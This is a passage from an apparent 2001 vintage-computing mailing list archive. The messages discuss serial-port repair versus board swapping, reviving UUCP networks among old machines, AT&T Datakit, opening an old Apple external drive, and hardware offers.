http://www.spectrum.ieee.org/WEBONLY/publicfeature/mar01/amig.html Claude http://www.members.tripod.com/computer_collector From edick at idcomm.com Thu Jun 14 00:44:20 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:29 2005 Subject: Ebay horror ... References: Message-ID: <004901c0f495$1b7300c0$9cc762d8@idcomm.com> see below, plz. Dick ----- Original Message ----- From: "Tony Duell" To: Sent: Wednesday, June 13, 2001 2:54 PM Subject: Re: Ebay horror ... > > > If you know it's a fault on the serial port (for example), then you've > > > done almost enough tests to determine what the fault really is. I am not > > > talking about 'fault finding' that goes like : 'The modem doesn't work' > > > 'Replace the serial card and see what happens' 'Oh, seems to be OK now' > > > -- that's not fault-finding, that's why I object to board swapping. > > > > > Well, it certainly doesn't find the fault in the serial board, but it does find > > and fix the fault in the computer. Since serial boards cost less than the 10 > > Not necessarily. You may think you've fixed the fault only to have it > come back later. Maybe a part has gone temperature-sensitive. It cools > off when you turn the system off to replace the serial board. Turn it > back on (with a new serial board) and it all seems fine. Only for the > fault to come back an hour later. Actually, the fault would seem to be > cured no matter which board you replaced or even if you did nothing. > > Don't laugh, I've seen this happen. I've also had to sort out the > resulting mess.... > I've heard of such things, but never seen one myself. > > > minutes it takes to swap them, and it costs 100x that much to fix the serial > > board, at a minimum, it seems to make sense to swap the board. That does fix > > Are you seriously telling me it takes you 1000 minutes (or over 16 hours) > to fix a serial board? The only time it could take me that long is if the > 'serial board' was something like a DEC DMR11, and it had a nasty logic > fault in the microcoded processor. > I'd never spend more than that 10 minutes I mentioned before on a serial port board, because they only cost 50 cents or a dollar at the thrift store. If you have a complicated serial board, i.e. one that doesn't talk the "normal" asynchronous protocol, and that runs at a higher rate, e.g. 4.762 Gbps, and is built using discrete GAs logic it might take a while. I generally don't use stuff like that though, and it's only in cases like that I'd be likely to find it justified. These boards with soldered-on ASICs aren't worth fixing, and the ones with socketed components seldom break. It's only going to break if the part is soldered down. > > > the computer, doesn't it? > > See above... > > > > > > > And if you know where the fault really is, it doens't take that much > > > longer to replace the fualty chip or whatever. > > > > > That's true if it's a serial board. However, if it's a mono video board, also > > costing less than a half-hour's time, and replacing it gets the server back into > > service, while tracking down and replacing the 100-pin fine-pitch pqfp that > > My mono video boards are all DIP chips -- 6845s, RAMs and TTL. But I digress. > > > > It's interesting you mention the serial port -- yes those do fail quite > > > often. But most of the time _on all the machines I have_ it's the RS232 > > > drivers/receivers that fail, not the UART or other logic. > > > > > True, but not if you don't fiddle with the cables. Moreover, even the few > > Actually, a serial port meeting RS232 standards should be able to withstand > hot-swapping of the cables. Shorting any 2 pins together, or to ground should > do no damage. > Then why do they break? and why don't they socket the transmitters and receivers? > > > minutes needed to desolder the transmitter, and that fails more frequently than > > the receiver, for some odd reason, in my experience, you've still spent more > > The driver is more likely to fail from short-circuits (overcurrenting the > output transistors). The receivers are pretty solid. > > > than the entire replacement card costs. > > I wish I could get paid that sort of amount.... > > > > > > > > Now, 95% (or so) of the machines I have -- minis, micros, etc -- use > > > 1488s and 1489s for this. DEC, Philips, PCs, TRS-80s, all have them. The > > > next most common chip is the MAX232. Then comes the oddball stuff. > Yes, they're common, and I have about a dozen and a half spares of each. However, buying a handful of spares, i.e. 3 of each, at the local surplus dealer costs more than a half dozen serial boards cost. I think I had to pay $0.65 for the 4-bit transmitters and receivers (MC1488/1489) last time I bought them, and that was some years back. I scrounge MAX 232's either as samples when I feel like it, or off circuit boards where the necessary capacitors also are avaiable, so I don't even have to look in my parts bins. > > > several of my old S-100 boards use the 75154 and other somewhat odd parts. I > > hand-wired a mezzanine card that plugs into the sockets occupied by two 8-pin > > transmitter parts and one 75154 and replaces them with a 1488 and a 1489, just > > because of that. Apparently there were supply problems or cost issues that > > caused CCS to design with the TI parts. > > FWIW, I think the TI parts are still available if you need them. If not, > then the daughterboard is the obvious solution. > Yes, they can still be had, but not at what I like to pay. The ones I like the best are the 8-pin 75155, which, BTW, is available at Radio Shack.com, though they're not free either. That's a 1-bit transmitter/receiver pair that requires external supplies. However, for simple setups one can use + and - 5. I like sticking that part and a '2691 in a 32-pin x 0.300" socket. to make a complete serial port, uart, transmitter/receiver, baud rate generator, one bit wide. With a single-chipper, you can leave out the uart and brg, of course. > > > > > > > Now, I do enough designing/prototyping here that I keep 1488s, 1489s and > > > MAX232s 'in stock'. It is actually easier for me to find a replacement > > > chip than a complete serial board. It also makes a lot more sense to me > > > to keep small parts that can be used to repair many different machines > > > than complete boards that only fit one machine. > > > > > In recent years I've found it MUCH easier to find a replacement serial board for > > a PC than a replacement 1488/89. The fact they're not so popular as they were > > back when they weren't on the motherboard makes a difference. They cost > > typically $1 for two at the local thrift stores. > > Over here 'charity shops' (==thrift stores) don't generally sell > computer parts. They may sell complete computers if you are lucky (and > can find a volunteer to do electrical safety tests). But I've never seen > a serial card or anything like it in one. > The common PC at a thrift shop has had the "interesting" boards removed, along with most of the RAM and drives, and normally has just a PSU, simple video board, keyboard, and monitor. They ask $5-10 for the computer. The monitor is often separately sold for $5-10. They always have the basic stuff in them, though the memory and hard disk often are absent. However, if the fan in the PSU works, it's worth buying the entire box for the fan. In the US, an AT-type replacement PSU fan costs $40. The PSU, fan and all, costs $30, and a case with PSU and fan costs $22. At the thrift store, you get a used fan with the PSU, but it will get you through a few days until you can order and take delivery of a new case. > > So, I either go to the local PC shop and find they no longer sell serial > cards (and then try to sell me a replacement motherboard with serial > ports built in), and then go to more and more PC shops trying to find the > board I need, or I go straight to the local components shop and pick up a > 1488 for <\pounds 1.00. And if said shop is out of stock, I know a couple > more I can easily get to. There is the added benefit that the electronics > component shop sells other things I can use, the PC shop doesn't. I can't > remember the last time I bought something in a PC shop. > Me too. PC shops only sell what's in fashion this week. I like to shop the web. > > That's assuming, of course that I don't have a 1488 in stock. Or that I > can't borrow one from another machine until I next go to the components > shop (which I generally do at least twice a week). > I'm getting too old to replace those teensy 0.25" pin-pitch so packaged parts, barely the size of a pinhead. When the serial ports on the motherboard die, I disable the ones on the motherboard and plug in one of those old ISA I/O boards. I don't know what I'll do when they no longer have ISA slots ... ... the last motherboard I bid on on eBay, just this week, has six PCI slots, but no ISA. We'll see ... > > There are very few machines round here that I could borrow a complete > serial board from to fit in a different machine... > > > I'm sure that with all your experience, the replacement of a faulty IC is > > thoroughly executed and produces a reliable result. For me, though, since the > > electricity to desolder and resolder a faulty component often costs more than a > > What sort of soldering iron are you using???? > > In my case, a Weller TCP. Lets call it 50W (it's actually a bit less). > That means I could run it for 20 hours on 1kWh of electricity. Even if > the transformer in the soldering iron PSU is 50% efficient (it's a lot > better than that), I still get 10 hours of use for 1kWh. 1kWh costs about > \pounds 0.07 here. And it's going to take me about 5 minutes to desolder > and replace a 14 pin chip at most. Which means that it costs me \pounds > 0.0006 or thereabouts for the electricity to run the soldering iron while > I change that chip. I doubt you can get a serial card for that little :-). > last week I got 35 boards for $1.99 at one of the local thrift stores. 3 of them were fully functional 10/100 mbps ethernet boards, capable of either rate, and at full duplex at that. There were three SCSI boards, too. Half a dozen or so were multi I/O boards with serial, parallel, FDC, and IDE. A couple were VLB multi-I/O types with a separate ROM so they can serve as additional IDE ports, not that it will help much, and a couple or three others are VLB video boards. I'll probably scrounge the VRAM from the latter. I haven't even looked at most of them, but the rest are just common multi-I/O boards, some with disk I/O and some without. I also got a bag of shielded external SCSI cables with various combinations of connectors for about $6 for the dozen or so. > > I have to conclude that either you're soldering with an arc-welder or you > are taking months to change a single chip. > It's not months, but electricity isn't that cheap here. My soldering iron uses butane, by the way, but still, it's much cheaper to replace the entire board. If I'm bored and want to do some mindless soldering, I'll take and remove all the 1488's and 1489's from a half-dozen I/O boards and replace them with sockets. Then I put the 1488's in a tester and subsequently put the good ones in the sockets. Then I test the 1489's and do likewise. I won't do that, however, until after I've gotten a new glass catcher tube for my solder-sucker/soldering iron, as I dropped and broke the %$#@! thing. I bought that station thinking I'd use it a lot, but I generally use the mechanical one instead. It doesn't take as long since it doesn't have to warm up. > > > There was a time when I loved isolating and replacing faulty IC's. Sockets made > > it easier, by far, and quick enough that it was worth doing. However, those > > same sockets made the board more costly and less reliable. The sockets some > > For 'static' equipment (i.e. not stuff that's carried about, mounted in > vehicles, etc), turned pin sockets (machined pin sockets) seem to be > reliable. I always use them on my prototype boards, not because it makes > it easier to replace chips, rather that it's easier for me to pull chips > and force signals high or low when tracing design bugs. > Yes, but they cost like the devil, and the pins on the wire-wrap types are too long to suit me. For soldertails, I like the ones made by Burndy and Augat, among others, that really pinch the pins against the plastic or against the other half of the VERY firm opposing contact. They require you to use a screwdriver to remove the parts, but they don't fall out in transit. > > Once I've got the design worked out, I socket (unless there are good > reasons not to) : > The sockets take up considerable space perhaps better used for air flow. That's a reason not to. > > Any I/O buffer chips (they fail easily, it's nice to be able to replace them) > > Programmed parts (microcontrollers, EPROMs, etc) (It makes it easier to > update them) > yes, that's true, though the down-wind part adjacent to a socketed part seems to get less benefit from air movement than it should. > > Anything delicate or expensive > > I don't generally bother to socket TTL, 4000 series CMOS, common > microprocessors and RAMs, etc on boards where I know the design is good. > > I never use cheap folded-metal-contact sockets. I've had far too many > problems with those. > The lifetime supply of those folded-metal (the gas-tight variety) that I have is on big memory boards having 288 or 192 memory sockets on each, along with about two dozen sockets for the schottky drivers for the memory addresses and data. These were reputed to be extremely reliable error-correcting memory boards with discrete logic to do the SECDED using parity gates and random logic with the aid of the host bit-slice processor. > > -tony > > From rdd at smart.net Thu Jun 14 01:02:13 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:29 2005 Subject: Interest in UUCP? In-Reply-To: Message-ID: On Wed, 13 Jun 2001, Mike Ford wrote: > >Can I meet these girls whom I can brag to about it? Most of the ones around > > Get a shopping basket at Fry's on Saturday morning, put at least enough > stuff in it for two high end servers, then lurk in the memory area. Babe > city. ;) ...and don't forget to mention do that you know all about UUCP and all of the *cool* things that you can do with it, and that you know all about (file) protection, chat scripts and late night cron jobs. Do this at your own risk, and ONLY if you really want to turn them all on and have them scratching their telephone numbers into your car's paint before you can get away from the parking lot, where they're all fighting over you and trying to keep you from getting away. :-) :-) :-) Ok, getting back on topic, I'm glad that someone's picked up on what I mentioned a while back about getting back to using UUCP. :-) It definitely still has some useability, and a UUCP infrastructure is still a good thing to have around in the event of emergencies... and would be better yet if packet radio is used with it as well. If one uses the O'Reilly UUCP book, setting it up and administering UUCP is not very difficult... and as someone mentioned, it's very portable and can be used on any machine with a hard drive and modem. How many list members are within a local telephone call of a UUCP feed? Security is still someting to definitely keep in mind, however, as there are tricks that someone using UUCP can play to get inside your system and poke around. -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From foo at siconic.com Thu Jun 14 00:06:27 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:29 2005 Subject: Interest in UUCP? In-Reply-To: Message-ID: On Wed, 13 Jun 2001, Anthony Clifton - Retrocomputing.com wrote: > As far as (b) goes, "Connectivity is it's own reward." It'd be a way > to transfer files directly from one vintage machine to another without > having to deal with sneaker-net (floppies) or other intermediate > steps. Yeah, but what for? What good is a bridge if no one is going to cross it? > What got me to thinking about it was when Don Maslin sent me a file > via email. Upon receiving it, I scratched my head and wondered how > to most efficiently transfer it from my iMac to my Kaypro. > > Then I thought, "Geez, if I could just run UUCP between my vintage > machines and those of others, the file could have just been sent > directly to my machine. Convenient!" I think it would be more trouble finding a UUCP client for the machine you're trying to transfer the file to. And if Don is sending you a file, presumably a system disk for the target machine, then it would be assumed that you haven't been able to boot that machine anyway to run a uucp client, because Don hasn't sent you the OS disk yet! Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Thu Jun 14 00:11:19 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:29 2005 Subject: One website with people on classiccmp's "for trade/wanted" lists....could be searchable by parts, location, interests etc...this an idea? In-Reply-To: <001901c0f48f$40616800$0200a8c0@gamerclaude> Message-ID: On Thu, 14 Jun 2001, Claude.W wrote: > Who has the will, time, knowledge and web space? Anyone? I'm working on it... Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From fernande at internet1.net Thu Jun 14 01:48:56 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:29 2005 Subject: old external Apple drive References: <004101c0f3ba$389c2e00$9cc762d8@idcomm.com> <3B275631.5F985993@greenbelt.com> <000f01c0f44f$642f7780$9cc762d8@idcomm.com> Message-ID: <3B285E58.22F020FB@internet1.net> The ones that had a bridge, were they Apple Harddisk 20's, that plugged into the floppy port? I have one of these for my 4meg Mac Plus that I don't use. Chad Fernandez Michigan, USA Richard Erlacher wrote: > The last two > Apple-compatible drive enclosures I took apart used a bridge. I also have a > couple that don't use a bridge, however, so anything's possible. > > Dick From fernande at internet1.net Thu Jun 14 01:53:51 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:29 2005 Subject: Vintage Mac stuff FS (one time post!) References: <3B27B12C.F392FDB0@eoni.com> Message-ID: <3B285F7F.9CCAC7F0@internet1.net> Jim, The list might like to know where you are located :-) Chad Fernandez Michigan, USA Jim Arnott wrote: > > This may incur the wrath of the list but I gotta clean house! Rather > than burn list bandwidth, please respond directly to: > > Thanks for looking. > > Jim From CAA007216 at mail.ono.es Thu Jun 14 02:01:49 2001 From: CAA007216 at mail.ono.es (Sergio Pedraja Cabo) Date: Sun Feb 27 19:04:29 2005 Subject: One website with people on classiccmp's "for trade/wanted" lists....could be searchable by parts, location, interests etc...this an idea? Message-ID: <36cb3e8e.3e8e36cb@ono.com> I am, of course. In some countries like Spain, where computer technology came more slowly than others cause of circunstances about I don't like to speak now, an afficionado to classic computing has a lot of problems to obtain some class of equipment. The only ways we have are eBay or another auction house, and lists like this, ever thinking in the problem that suppose the shipping costs and the shipping act itself from any foreign country of one machine of big or medium (and even little) size. I vote for this site. Greetings and Best Regards from Spain Sergio Pedraja ----- Mensaje Original ----- Remitente: "Claude.W" Fecha: Jueves, Junio 14, 2001 7:02 am Asunto: One website with people on classiccmp's "for trade/wanted" lists....could be searchable by parts, location, interests etc...this an idea? > Hi all. > > Yes, I enjoy making trades with a lot of people on classiccmp...I > have done > many and given away a lotta stuff too...I make friends and > contacts and the > stuff gets delivered to my door and I dont spend long days hunting > in garage > sales and flea markets.... > > I see a lot of posts of people offering stuff lately and I think > this is > great... > > Would this be a good idea having a kinda "central classiccmp collector > trader list site" where people could post their trade/wish lists > in a > "standard format" and this could be searched by location, parts, > interestsand such? Would this not be a good way of encouraging > trades and help people > complete machines and find parts...? > > Would there be enough people interested? > > Who has the will, time, knowledge and web space? Anyone? > > Claude > http://www.members.tripod.com/computer_collector > > > From fernande at internet1.net Thu Jun 14 02:15:07 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:29 2005 Subject: Fastpath 4 boxes available References: Message-ID: <3B28647B.5C48CB43@internet1.net> My ISA SB16 is labled "Vibra". I thought that was a Creative Labs Sound Blaster name? A SB Microchannel card just sold on Ebay for over $70.... I couldn't believe it! I want one too! Chad Fernandez Michigan, USA Mike Ford wrote: > > I have a couple, the Vibra16 and something from Roland (maybe have 2 of > those), but I am still looking for a "real" sound blaster MCA type card. > > BTW I am not him, just commenting. From pechter at bg-tc-ppp1485.monmouth.com Thu Jun 14 02:49:12 2001 From: pechter at bg-tc-ppp1485.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:29 2005 Subject: Datakit In-Reply-To: <20010614033934.97817.qmail@web9505.mail.yahoo.com> from Ethan Dicks at "Jun 13, 2001 08:39:34 pm" Message-ID: <200106140749.f5E7nCp19505@bg-tc-ppp1485.monmouth.com> > --- Bill Pechter wrote: > > I wrote: > > > When I was a system admin for Lucent (1997-1999), I was amazed at how much > > > they depend on UUCP for internal file transfer. > > > > It was pretty much all TCP/IP in '97 in Holmdel. > > They used a combination of UUCP over IP and UUCP over some AT&T serial > protocol over fiber. Can't remember the product name. Cost a bundle > for a compatible Sbus card and the license for the driver. Datakit... TM 8-) I wish I knew what that really did on the fiber. I figure it was some kind of ATM or Frame Relay kind of protocol. They used to charge per ethernet drop at the labs for TCP/IP. Datakit was much less expensive internally so they used it more often. About 3-4 years ago they started the "Atlas Space" project of cubicle-ization and they stopped charging per port for the 100 BaseT in the newer area. This meant Datakit was dead. Main use with Vaxes was through a serial port to datakit mux unless they got the very expensive card for the Vaxes. IIRC -- It kind of worked like a Micom Data switch if you were on the Mux ports. You could connect from your terminal/pc to just about anywhere. I guess it kind of reminded me of X.25 connections or micom ports outside of AT&T/Lucent. --Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From pechter at bg-tc-ppp1485.monmouth.com Thu Jun 14 02:53:12 2001 From: pechter at bg-tc-ppp1485.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:29 2005 Subject: UUCP and Netnews In-Reply-To: from "Anthony Clifton - Retrocomputing.com" at "Jun 13, 2001 07:24:00 pm" Message-ID: <200106140753.f5E7rDD19530@bg-tc-ppp1485.monmouth.com> > I think what I was thinking of was a way to DIRECTLY get mail, news and > files ON TO antique machines without having to use newer machines as an > intermediary. Sure... Retro-net news... Cnews or Bnews (or Waffle). We could lose all the spam and idiots with multilevel marketing schemes and porno. > > In other words, a UUCP network of vintage machines all talking to each > other. Of course, there are SOME isps who still support UUCP but the > number is rapidly decreasing. Probably 99% of ISP folks would say, > "UU whatzit? You mean UUnet? Weren't they bought by WorldCom and > MCI? You want a T1? We can sell you a T1!" > Tell me about it... My local ISP founded by some AT&T types didn't want to deal with it... I was hoping to keep the uucp connectivity to the house up. But the mapping project was dead and when I left Fort Monmouth my uucp connectivity was too. > I'm reasonably certain you can run UUCP not only on about anything > that has a hard disk but even some things that don't. > > It also has the advantage of being a) VERY well tested software and > b) not under the control of any monolithic organization. > > Anthony Clifton > Des Moines, Iowa Count me in. Let's reopen the uucp mapping project and establish new connectivity! Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From PeksaDO at Cardiff.ac.uk Thu Jun 14 09:08:01 2001 From: PeksaDO at Cardiff.ac.uk (DOUG PEKSA - COMPG) Date: Sun Feb 27 19:04:29 2005 Subject: old external Apple drive Message-ID: <3B287EEF.23914.F85A12C@localhost> My Western Digital 20AP opens as follows: 1) Grow extra hand 2) Back of case, about 1.5" to right of AC socket, at the bottom of the upper half of the ventilation grill is a small plastic lug. Depress it with a flat blade screwdriver of similar. 3) Simultaenously use two PC (spit !) card blanking plates on each side of the case (There is a small 0.5" slot in the bottom of the three styling ribs on the side of the case) and press to bend the two side plastic lugs 4) You should now be able to lift the top of the case from the back while the front edge rotates about the join between the upper and lower halves. After lifting a little way there will be sufficient play to slide the top of the case forward in order to overcome the bits of plastic in the top of the case which interlock with the bottom of the case. Doug. From stefan at softhome.net Thu Jun 14 03:09:38 2001 From: stefan at softhome.net (Stefan) Date: Sun Feb 27 19:04:29 2005 Subject: VTech Laser 500 voltage ? Message-ID: <5.0.2.1.0.20010614100907.00abca00@145.218.23.191> Can anybody tell me what voltage the VTech Laser 500 takes ? Thanks. Stefan. From edick at idcomm.com Thu Jun 14 07:30:27 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:29 2005 Subject: old external Apple drive References: <3B287EEF.23914.F85A12C@localhost> Message-ID: <001401c0f4cd$cb275740$9cc762d8@idcomm.com> That must be the formula! Each of the features you describe is clearly present, though I think it may take a while for me to grow the extra hand. I've been trying for 20-odd years to grow an extra leg. One time, at a party, having had a few drinks, I was asked by a woman in whom I might have had just a bit too much interest, "What is your problem?" and I told her that it was that one of my legs was longer than the other two. She wasn't impressed, but it didn't help ... Dick ----- Original Message ----- From: "DOUG PEKSA - COMPG" To: Sent: Thursday, June 14, 2001 3:08 AM Subject: Re: old external Apple drive > My Western Digital 20AP opens as follows: > > 1) Grow extra hand > > 2) Back of case, about 1.5" to right of AC socket, at the > bottom of the upper half of the ventilation grill is a > small plastic lug. Depress it with a flat blade > screwdriver of similar. > > 3) Simultaenously use two PC (spit !) card blanking plates > on each side of the case (There is a small 0.5" slot in > the bottom of the three styling ribs on the side of the > case) and press to bend the two side plastic lugs > > 4) You should now be able to lift the top of the case from > the back while the front edge rotates about the join > between the upper and lower halves. After lifting a little > way there will be sufficient play to slide the top of > the case forward in order to overcome the bits of plastic > in the top of the case which interlock with the bottom > of the case. > > Doug. > > From dhquebbeman at theestopinalgroup.com Thu Jun 14 07:35:33 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:29 2005 Subject: A/C for Workstations Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715115E@jeffserver.tegjeff.com> +AD4- Anybody ever see vended a real small Air +AD4- conditioner, say 20 pounds and 200 watts +AD4- for small situations, like one workstation? +AD4- Most small A/C's seem to be 80 lbs 1000 +AD4- watts and up. We had a wheeled portable +AD4- at IBM but it was def. too large. +AD4- Would 10 or so Pelletiers be the trick? The smallest I've seen are these roll-around units that I used to see sold in Damark and other liquidation catalogs... a hose similar to a clothes-dryer exhaust hose goes to a panel you put in windowsill. I bought one for mom, but it really didn't work well for her. But re-egineered for a workstation, it might work quite well. It cost about +ACQ-350 at the time. hth, -doug q From dhquebbeman at theestopinalgroup.com Thu Jun 14 07:55:22 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:29 2005 Subject: 21 slot 9u VME chassis with 6 Sun OEM 3/110 boards Message-ID: <7A9BACCEF0171D4FB77019F5104CDD3715115F@jeffserver.tegjeff.com> > I have a 21 slot 9u VME chassic which is designed to be rack > mounted, complete with 6 Sun OEM 3/110 boards. > > If someone is interested in this, it is available for the cost > of shipping, etc. But pickup (in NW Indiana) is preferable. You're up around Lafayette, right? I was thinking of going up to shoot pics of what's left of the 205; I could stop by and pick it up. But I'll need its dimensions; my car isn't very large and its upholstry is in great shape, so transport might be a bit of a problem. Thanks, -dq From dhquebbeman at theestopinalgroup.com Thu Jun 14 08:03:14 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:29 2005 Subject: Interest in UUCP? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151160@jeffserver.tegjeff.com> > At 08:30 AM 6/13/01 -0400, Douglas Quebbeman wrote: > >> Since most vintage machines can't run TCP/IP but CAN run uucp, would > >> there be any interest in a dialup uucp node for retrieving email, files, etc > >> specifically geared toward vintage machines? > > > >I've been thnking of this in a bit wider context. > >With some of the changes happening on the Internet, it's > >not quite as friendly as it used to be. > > You can still use the regular Internet as your transport > and do away with the toll calls, can't you? A sledgehammer > approach would be a VPN. What I was referring to was how the the responsiveness of a network connection has changed due to the proliferation of supernodes like AOL. Supernodes become bottlenecks for acecss to distant parts of the net. Now, if I could route my own Internet traffic in a manner comparable to the way phone phreaks could use a blue box to route their calls, *that* would work very nicely. Oh, and legally, without breaking any laws. Regards, -doug quebbeman From spectre at stockholm.ptloma.edu Thu Jun 14 08:47:01 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:29 2005 Subject: Interest in UUCP? In-Reply-To: from "R. D. Davis" at "Jun 14, 1 02:02:13 am" Message-ID: <200106141347.GAA11532@stockholm.ptloma.edu> > How many list members are within a local telephone call of a UUCP feed? Me, since stockholm has uucico set up (I just installed it out of curiosity, but never played with it). It would have to be one of the 7-bit protocols, though, thanks to the terminal server which requires me to telnet in. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- The world only beats a path to your door when you're in the bathroom. ------ From dhquebbeman at theestopinalgroup.com Thu Jun 14 09:03:24 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:29 2005 Subject: 21 slot 9u VME chassis with 6 Sun OEM 3/110 boards Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151165@jeffserver.tegjeff.com> > > I have a 21 slot 9u VME chassic which is designed to be rack > > mounted, complete with 6 Sun OEM 3/110 boards. > > > > If someone is interested in this, it is available for the cost > > of shipping, etc. But pickup (in NW Indiana) is preferable. > > You're up around Lafayette, right? I was thinking of going > up to shoot pics of what's left of the 205; I could stop > by and pick it up. > > But I'll need its dimensions; my car isn't very large and > its upholstry is in great shape, so transport might be a > bit of a problem. I explicitly pasted Tom's address in over the top of the ClassicCmp list, but still this went to the wrong place. Outlook 98 is the greates sucky software I've ever used... Anyway, sorry about that... -dq From jss at ou.edu Thu Jun 14 09:10:42 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:29 2005 Subject: UUCP and Netnews In-Reply-To: <200106140753.f5E7rDD19530@bg-tc-ppp1485.monmouth.com> References: <200106140753.f5E7rDD19530@bg-tc-ppp1485.monmouth.com> Message-ID: <992527842.3b28c5e280040@email.ou.edu> Quoting Bill Pechter : > Let's reopen the uucp mapping project and establish new > connectivity! I'll participate if I can do it without long-distance phone calls. I believe someone said that it can be tunneled through IP. -- Jeffrey S. Sharp jss@ou.edu From ethan_dicks at yahoo.com Thu Jun 14 09:21:59 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:30 2005 Subject: Datakit In-Reply-To: <200106140749.f5E7nCp19505@bg-tc-ppp1485.monmouth.com> Message-ID: <20010614142159.40256.qmail@web9507.mail.yahoo.com> --- Bill Pechter wrote: > > --- Bill Pechter wrote: > > > I wrote: > > They used a combination of UUCP over IP and UUCP over some AT&T serial > > protocol over fiber. Can't remember the product name. Cost a bundle > > for a compatible Sbus card and the license for the driver. > > Datakit... TM 8-) Bingo! > I wish I knew what that really did on the fiber. > I figure it was some kind of ATM or Frame Relay kind of protocol. I have absolutely no idea. > Main use with Vaxes was through a serial port to datakit mux > unless they got the very expensive card for the Vaxes. Right. We didn't have the expensive VAX card, but we did have expensive Sun cards. > IIRC -- It kind of worked like a Micom Data switch if you were on the > Mux ports. You could connect from your terminal/pc to just about > anywhere. Yep. You just had to know what the port was called. > I guess it kind of reminded me of X.25 connections or micom ports > outside of AT&T/Lucent. It's also like a never-released product from Software Results called (in- house) the "Node Box" - it was X.25-like between boxes and had wads of serial ports for local connectivity. No big deal by today's standards, but in 1984, it was an advanced product. The idea was that you would create your own private terminal-server network to route traffic throughout your company, including between facilities, but back in the days when 9600-baud leased lines were pretty sweet. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From geneb at deltasoft.com Thu Jun 14 09:33:44 2001 From: geneb at deltasoft.com (Gene Buckle) Date: Sun Feb 27 19:04:30 2005 Subject: Enigma [was Ebay horror] In-Reply-To: <002901c0f489$07b0d460$9cc762d8@idcomm.com> Message-ID: On Wed, 13 Jun 2001, Richard Erlacher wrote: > the Enigma. I'd probably not recognize one if it bit me in the leg. > Unless I You'd know it as soon as you saw it. If the top was on it, it says "Enigma" in on a little oval shaped label. If the top isn't on it, you'd still spot it for the typewriter like keyboard with a panel above with little letter lamps on it. I'd practically give my left arm for a an Enigma rotor or even a steckerboard(sp). *wistful sigh* Your chances of finding even Enimga parts in a junkyard are about as good as my chances of getting the back half to the F-15C I have. You're pretty safe. *laughs* g. -- http://www.f15sim.com - The only one of its kind. From spectre at stockholm.ptloma.edu Thu Jun 14 09:39:14 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:30 2005 Subject: UUCP and Netnews In-Reply-To: <992527842.3b28c5e280040@email.ou.edu> from "Jeffrey S. Sharp" at "Jun 14, 1 09:10:42 am" Message-ID: <200106141439.HAA11018@stockholm.ptloma.edu> > > Let's reopen the uucp mapping project and establish new > > connectivity! > > I'll participate if I can do it without long-distance phone calls. I > believe someone said that it can be tunneled through IP. I'd be willing to do it with stockholm if someone will help me set it up. Will uucico behave nicely if connected to inetd? (I want it to run through my custom TCP wrappers so that every script kiddie out there doesn't say, "ooo! open port!"). -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- I used to miss my dad, but then my aim improved. --------------------------- From LFessen106 at aol.com Thu Jun 14 09:48:05 2001 From: LFessen106 at aol.com (LFessen106@aol.com) Date: Sun Feb 27 19:04:30 2005 Subject: UUCP and Netnews Message-ID: In a message dated 6/14/01 10:17:25 AM Eastern Daylight Time, jss@ou.edu writes: > > I'll participate if I can do it without long-distance phone calls. I > believe someone said that it can be tunneled through IP. > That would be cool.. I'd do that as well. I'd even devote the use of my big old Microvax II to it. Running a UUCP network on a modern machine just wouldn't seem right :-) -Linc Fessenden In The Beginning there was nothing, which exploded - Yeah right... Calculating in binary code is as easy as 01,10,11. From SUPRDAVE at aol.com Thu Jun 14 09:55:26 2001 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 19:04:30 2005 Subject: Fastpath 4 boxes available Message-ID: In a message dated 6/14/01 2:31:49 AM Central Daylight Time, fernande@internet1.net writes: << My ISA SB16 is labled "Vibra". I thought that was a Creative Labs Sound Blaster name? A SB Microchannel card just sold on Ebay for over $70.... I couldn't believe it! I want one too! >> $70 for a sound card? that's just stupid. Probably same 